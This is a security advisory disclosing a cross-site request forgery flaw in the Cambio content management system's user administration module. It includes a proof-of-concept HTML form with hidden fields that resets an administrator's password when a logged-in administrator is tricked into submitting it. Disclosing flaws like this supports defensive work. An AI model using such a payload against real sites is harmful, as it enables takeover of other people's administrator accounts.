Cross-site Request Forgery (CSRF) in Cambio

Advisory ID:HTB22768
Vendor:Joram van den Boezem
Vulnerable Versions:0.5a nightly r37 and probably prior
Tested Version:0.5a nightly r37
Advisory Publication:December 28, 2010 [without technical details]
Vendor Notification:December 28, 2010
Public Disclosure:January 11, 2011
Vulnerability Type:Cross-Site Request Forgery [CWE-352]
Risk Level:Medium
CVSSv2 Base Score:5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Discovered and Provided:High-Tech Bridge Security Research Lab

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered vulnerability in Cambio which could be exploited to perform cross-site request forgery attacks.

1) Cross-site request forgery (CSRF) in Cambio
The vulnerability exists due to insufficient validation of the request origin in modules/user/user.admin.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and modify administrator`s credentials.
Exploitation example:
<form action="http://host/admin/index.php?module=user&task=save&elmid=" method="post" name="main">
<input type="hidden" name="id" value="USERID">
<input type="hidden" name="module" value="100">
<input type="hidden" name="newpass1" value="newpass">
<input type="hidden" name="newpass2" value="newpass">
<input type="hidden" name="email" value="">
<input type="hidden" name="usertype_id" value="2">

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Currently we are not aware of any vendor-supplied patches or other solutions. The vendor was contacted in accordance to our Vendor Notification Policy but we didn't get any answer or feedback.

[1] High-Tech Bridge Advisory HTB22768 - - Cross-site Request Forgery (CSRF) in Cambio
[2] Cambio - - Cambio relies on in-page editing of your website, which means you don't have to open a seperate administrator page to edit your pages.
[3] Common Weakness Enumeration (CWE) - - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
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